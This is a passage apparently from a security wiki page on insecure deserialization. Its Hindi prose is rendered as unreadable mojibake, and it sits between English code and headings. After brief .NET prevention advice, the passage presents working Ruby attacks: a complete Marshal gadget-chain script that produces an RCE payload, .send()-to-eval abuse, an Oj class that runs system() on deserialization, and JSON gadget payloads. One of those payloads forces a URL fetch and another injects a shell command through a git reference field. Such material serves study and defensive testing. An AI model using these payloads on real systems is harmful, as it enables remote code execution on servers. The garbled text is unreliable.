In the рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдореЗрдВ рдмрдирд╛рдП рдЧрдП рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА .Net рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХреБрдЫ рд╕рдорд╛рди рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рднреА рд╕рдВрднрд╡рддрдГ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред
рдЗрд╕рд▓рд┐рдП --test рдкреИрд░рд╛рдореАрдЯрд░ рд╣рдореЗрдВ рдпрд╣ рд╕рдордЭрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ deserialization рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП ysoserial.net рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

ViewState

рдХреИрд╕реЗ .Net рдХреЗ __ViewState рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдЬрд╛рдирддреЗ рд╣реИрдВ, рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдкреЛрд╕реНрдЯ рдкрдврд╝реЗрдВред

Prevention

.Net рдореЗрдВ deserialization рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

  • рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдХреЛ рдЙрдирдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╕реЗ рдмрдЪреЗрдВред рдЬрдм рд╕рдВрднрд╡ рд╣реЛ, DataContractSerializer рдпрд╛ XmlSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
  • JSON.Net рдХреЗ рд▓рд┐рдП, TypeNameHandling рдХреЛ None рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: %%%TypeNameHandling = TypeNameHandling.None%%%
  • JavaScriptSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ JavaScriptTypeResolver рдХреЗ рд╕рд╛рде рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред
  • рдЙрди рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рд╕реАрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ deserialized рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, .Net рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рд╕рдордЭрддреЗ рд╣реБрдП, рдЬреИрд╕реЗ System.IO.FileInfo, рдЬреЛ рд╕рд░реНрд╡рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред
  • рдЦрддрд░рдирд╛рдХ рдЧреБрдгреЛрдВ рд╡рд╛рд▓реЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рддрд░реНрдХ рд░рд╣реЗрдВ, рдЬреИрд╕реЗ System.ComponentModel.DataAnnotations.ValidationException рдЗрд╕рдХреЗ Value рдЧреБрдг рдХреЗ рд╕рд╛рде, рдЬрд┐рд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • рдкреНрд░рдХрд╛рд░ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ deserialization рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░ рд╕рдХреЗрдВ, рдЬрд┐рд╕рд╕реЗ DataContractSerializer рдпрд╛ XmlSerializer рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рдПрдВред
  • BinaryFormatter рдФрд░ JSON.Net рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╕реНрдЯрдо SerializationBinder рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реНрд╡реЗрдд рд╕реВрдЪреА рдирд┐рдпрдВрддреНрд░рдг рд▓рд╛рдЧреВ рдХрд░реЗрдВред
  • .Net рдореЗрдВ рдЬреНрдЮрд╛рдд рдЕрд╕реБрд░рдХреНрд╖рд┐рдд deserialization рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ deserializers рдРрд╕реЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рди рдХрд░реЗрдВред
  • рд╕рдВрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ рдХреЛрдб рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕реЗрд╕ рд╡рд╛рд▓реЗ рдХреЛрдб рд╕реЗ рдЕрд▓рдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЬреНрдЮрд╛рдд рдЧреИрдЬреЗрдЯреНрд╕, рдЬреИрд╕реЗ WPF рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдореЗрдВ System.Windows.Data.ObjectDataProvider, рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ рд╕реНрд░реЛрддреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред

References

Ruby

Ruby рдореЗрдВ, serialization marshal рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рднреАрддрд░ рджреЛ рд╡рд┐рдзрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕реБрдЧрдо рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реА рд╡рд┐рдзрд┐, рдЬрд┐рд╕реЗ dump рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдмрд╛рдЗрдЯ рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ serialization рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рджреВрд╕рд░реА рд╡рд┐рдзрд┐, load, рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рдЗрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЛ рд╡рд╛рдкрд╕ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ deserialization рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

Serialized рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Ruby HMAC (Hash-Based Message Authentication Code) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛ рдХреА рдЕрдЦрдВрдбрддрд╛ рдФрд░ рдкреНрд░рд╛рдорд╛рдгрд┐рдХрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХреБрдВрдЬреА рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X рд╕рд╛рдорд╛рдиреНрдп deserialization рд╕реЗ RCE рдЧреИрдЬреЗрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() рд╡рд┐рдзрд┐

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрд╕рдВрд╕рд╛рдзрд┐рдд рдЗрдирдкреБрдЯ рдПрдХ рд░реВрдмреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА .send() рд╡рд┐рдзрд┐ рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рд╡рд┐рдзрд┐ рдХреЛ рдХрд┐рд╕реА рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЖрдордВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, eval рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рд░реВрдмреА рдХреЛрдб рдХреЛ рджреВрд╕рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдирд╛ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛:

{% code overflow="wrap" %}

<Object>.send('eval', '<user input with Ruby code>') == RCE

{% endcode %}

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдХреЗрд╡рд▓ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ .send() рдХрд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рд▓реЗрдЦ рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХрд┐рд╕реА рднреА рдРрд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдореЗрдердб рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрд┐рд╕реЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдпрд╛ рдЬрд┐рдирдХреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди рд╣реИрдВред
рдЗрд╕рдХреЗ рд▓рд┐рдП, рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рднреА рдореЗрдердбреНрд╕ рдХреЛ рдЙрди рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдореЗрдердбреНрд╕ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

{% code overflow="wrap" %}

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

{% endcode %}

рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп

рдпрд╣ рддрдХрдиреАрдХ рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рд╕реЗ рд▓реА рдЧрдИ рдереАред

рдЕрдиреНрдп Ruby рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЗ рджреМрд░рд╛рди RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд╛рд▓рд┐рдХрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдФрд░ рдЙрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рджрд┐рдЦрд╛рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓реЛрдб рдХреА рдЧрдИ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдирд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬ рд╣реЛрдиреЗ рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд░реВрдк рд╕реЗ рдХрд╛рд░реНрдп):

рдкреБрд╕реНрддрдХрд╛рд▓рдпрдЗрдирдкреБрдЯ рдбреЗрдЯрд╛рдХреНрд▓рд╛рд╕ рдХреЗ рдЕрдВрджрд░ рдХрд┐рдХ-рдСрдл рд╡рд┐рдзрд┐
Marshal (Ruby)рдмрд╛рдЗрдирд░реА_load
OjJSONhash (рдХреНрд▓рд╛рд╕ рдХреЛ рд╣реИрд╢ (рдореИрдк) рдореЗрдВ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдбрд╛рд▓рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)
OxXMLhash (рдХреНрд▓рд╛рд╕ рдХреЛ рд╣реИрд╢ (рдореИрдк) рдореЗрдВ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдбрд╛рд▓рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)
Psych (Ruby)YAMLhash (рдХреНрд▓рд╛рд╕ рдХреЛ рд╣реИрд╢ (рдореИрдк) рдореЗрдВ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдбрд╛рд▓рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)
init_with
JSON (Ruby)JSONjson_create ([json_create рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдиреЛрдЯреНрд╕ рджреЗрдЦреЗрдВ рдЕрдВрдд рдореЗрдВ](#table-vulnerable-sinks))

рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рдЧреИрдЬреЗрдЯ рдХреНрд▓рд╛рд╕ рдорд┐рд▓рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдЬреЛ рдЕрдкрдиреЗ hash рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ to_s рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬреЛ spec рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬреЛ fetch_path рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ URL рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛, рдЬреЛ рдЗрди рдкреНрд░рдХрд╛рд░ рдХреА рдЕрд╕реНрд╡рдЪреНрдЫ deserialization рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдПрдХ рдмрдбрд╝рд╛ рдбрд┐рдЯреЗрдХреНрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рднреА рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЕрдиреНрдп рдЧреИрдЬреЗрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкреВрд░реНрдг RCE рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}